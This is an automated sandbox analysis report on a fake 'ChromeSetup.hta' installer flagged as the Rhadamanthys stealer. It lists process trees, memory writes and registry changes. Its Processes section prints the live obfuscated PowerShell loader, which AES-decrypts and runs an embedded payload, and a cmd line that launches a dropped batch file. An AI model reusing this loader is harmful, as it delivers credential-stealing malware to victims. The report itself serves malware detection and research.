Malware Analysis Report

2024-11-30 02:16

Sample ID 240328-dj4r2adf3w
Target ChromeSetup.hta
SHA256 908ca27ec447937b2f97fd4053a8fea99f45bc7e2eb028152f2301c97f952acf
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

908ca27ec447937b2f97fd4053a8fea99f45bc7e2eb028152f2301c97f952acf

Threat Level: Known bad

The file ChromeSetup.hta was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Suspicious use of NtCreateUserProcessOtherParentProcess

Rhadamanthys

Downloads MZ/PE file

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Program crash

Enumerates physical storage devices

Enumerates processes with tasklist

Suspicious use of SetWindowsHookEx

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Checks processor information in registry

Modifies registry class

Runs ping.exe

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-28 03:03

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-28 03:03

Reported

2024-03-28 03:23

Platform

win10-20240221-en

Max time kernel

1199s

Max time network

883s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 4312 created 3112 N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif c:\windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\ChromeSetup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-313240725-3527728709-4038673254-1000_Classes\Local Settings C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\13137\Donations.pif N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A
N/A N/A C:\Windows\SysWOW64\dialer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4416 wrote to memory of 4088 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4416 wrote to memory of 4088 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4416 wrote to memory of 4088 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4088 wrote to memory of 484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
PID 4088 wrote to memory of 484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
PID 4088 wrote to memory of 484 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
PID 4088 wrote to memory of 1272 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ChromeSetup.exe
PID 4088 wrote to memory of 1272 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ChromeSetup.exe
PID 4088 wrote to memory of 1272 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\ChromeSetup.exe
PID 1272 wrote to memory of 3692 N/A C:\Users\Admin\AppData\Roaming\ChromeSetup.exe C:\Windows\SysWOW64\cmd.exe
PID 1272 wrote to memory of 3692 N/A C:\Users\Admin\AppData\Roaming\ChromeSetup.exe C:\Windows\SysWOW64\cmd.exe
PID 1272 wrote to memory of 3692 N/A C:\Users\Admin\AppData\Roaming\ChromeSetup.exe C:\Windows\SysWOW64\cmd.exe
PID 484 wrote to memory of 1036 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 484 wrote to memory of 1036 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 484 wrote to memory of 1036 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 1396 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 1036 wrote to memory of 4084 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

Processes

c:\windows\system32\sihost.exe

sihost.exe

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\ChromeSetup.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function TLcToxJS($Imjw){return -split ($Imjw -replace '..', '0x$& ')};$eGLbfA = TLcToxJS('88713C0E6345BF6F01234702EC33828DDF2378F0EB28C8C270C3C536F77F2A54D7C551CF332C7EFBAF6008BFF77DA8394D3473142E76214843C7E2728213CE6C97DE8B20BE13ABE17961072C4BEB4AF63EE7E46FC28FAF8FBAB114708D65DA81E5E0ED6AF7D726C17278A48BEC42EC6BBE58DF4595E510DF26A125762D63550A3000230E2088A014B6E1C6C14C2820693207376F17572345B88EC7F724E177A87B0213D1AC159F23E2B4B8D62637C9C52EE0C61AF3F759CE95D4CCFDDF0A2920F9BE9528C53A00FA3E5E072D939A82148E1776937E0D3EE2417D96EB758AB281FBA019DD2FA30AC300F00A6F4948DFD2D169927C6877A7588F5C44E400419BD6307661915A781BDB5C8206A73196CDE95289A3349017F0A372F159A386104D96295F3F438637717852645E0A13E68B91D1C9DCC32199E06F03D3F18182C07AE06CFD02653A671F7F90E597264B1AB8630350388A281494A22166BCB1E37F99F9EE48E74940CA6C5664AA1C448238D37ABFE7BE981A0A4E70DC3B0DDFC66538A07BC735D13C2A030C1F254D3232CA5BD9E70858BDE03361E3A65FC4F06D462EAF5EC013F2C34DE3ECD079C2FB4A4B03C10C5C2B4EC7B6F86FC6CE2456855E39C9EE5FC9C630D415D23ADED57DD934EDA90E63224A16BF4E09F979802D9AE10954F5BD3B5578A6C00AA970D90E4785E80AEAE49317C95D54C1B08E1CC832B6F70717511068D683A1255FD896F64ABAA25551AD9668C3BF7378E17F68C6EDDBA093F48BE9FCB33545BB8E1D155B3433F5F36CEB9331DED5F64C86B2134F57C4A43C62273B2BE22CF9FFC0738F919E86116A5450C795807EE8877F1DBD799496CCF6739DACB0F81EF980F33800C6F5666CC22C574E394123A5A09FD9C660B1F295B3527FD32F61858CCB3369A181B1532D9BFD6833EB6F6D3F65D514F38472B577FB8C988FD2C8652F8F46F507A7CBA0FD6608864F30653D030DC31D049A5D0563BA61A2EFBAA8BB4825655A24C0CD4E1B9370628A4231400F6458CD6E70274AA26C4C08074C7D9A9D10DEABFF20861561FBBDA361C1140EE331F0467C225AB79BB530FADE7B415F60EA39D9C0943627996F318DF6EED8076C4C5DCB604FF6441C32A0196836C1394C79F28CD6A6EA1116FE9F0E10B6BAF9884B9D8E1AFB0162E467C4AAEE322A536D223430EADE38BC4267B3DEF3F964495B1C40A083D4E0C1F248825C62DCC7995C4870848F86637A32C271D202C5F98CC839D02847FB6857CE5A8E00DDA8B74B66E15115AD1BD6174AB6A160427FFAA1F33FF268D51253FC1C4163F0C7A2F65DC993B3DE547C7A510AF2C2A75A06398041402E9B8A7DEC77D052B922B59A7B608D95DF41CF8C3D9B25062BA3D357C54BF29264105D3F47E285C4667440C9D95C33594DA1D64F157A5C9DF920F92BF4CDABAAEC1C9E63459CDC18164C0D8E7A028941C06483663379FC6E20727DA1799FB7FEC57F45CE3DAE1DE32B38162DA998F7345141B34F6A32CA80860A6AE45D73FDDE1BFFF7A3E35966226200D6FEDB2F5F55A6D15F4E6E10A42EE2AF5EF1AB59D5156FAF3EFE1D267E3562417FB3741FEC879A432B8B25A0C804213FFB17AD28D77B52B3401862CF5D8A79B3815F08361F0690375F1444A5652755241B7B4C76E7B42BC96CBC4AC7DD4DE115175DFCBA5B484D4B254BA0A3C3A24874E3D90347F7EA8DA46AC7B123E8B9');$xBQDa = [System.Security.Cryptography.Aes]::Create();$xBQDa.Key = TLcToxJS('466371524D774563634159445A6A426E');$xBQDa.IV = New-Object byte[] 16;$PuTlXHvG = $xBQDa.CreateDecryptor();$BgiNlDJqW = $PuTlXHvG.TransformFinalBlock($eGLbfA, 0, $eGLbfA.Length);$HxMgCSafi = [System.Text.Encoding]::Utf8.GetString($BgiNlDJqW);$PuTlXHvG.Dispose();& $HxMgCSafi.Substring(0,3) $HxMgCSafi.Substring(3)

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\sample.pdf"

C:\Users\Admin\AppData\Roaming\ChromeSetup.exe

"C:\Users\Admin\AppData\Roaming\ChromeSetup.exe"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /k move Bathrooms Bathrooms.bat & Bathrooms.bat & exit

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=36D70632AA851B14B1421659DEBD8B5C --mojo-platform-channel-handle=1612 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=C077458945434E8DCFED89F002513B1F --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,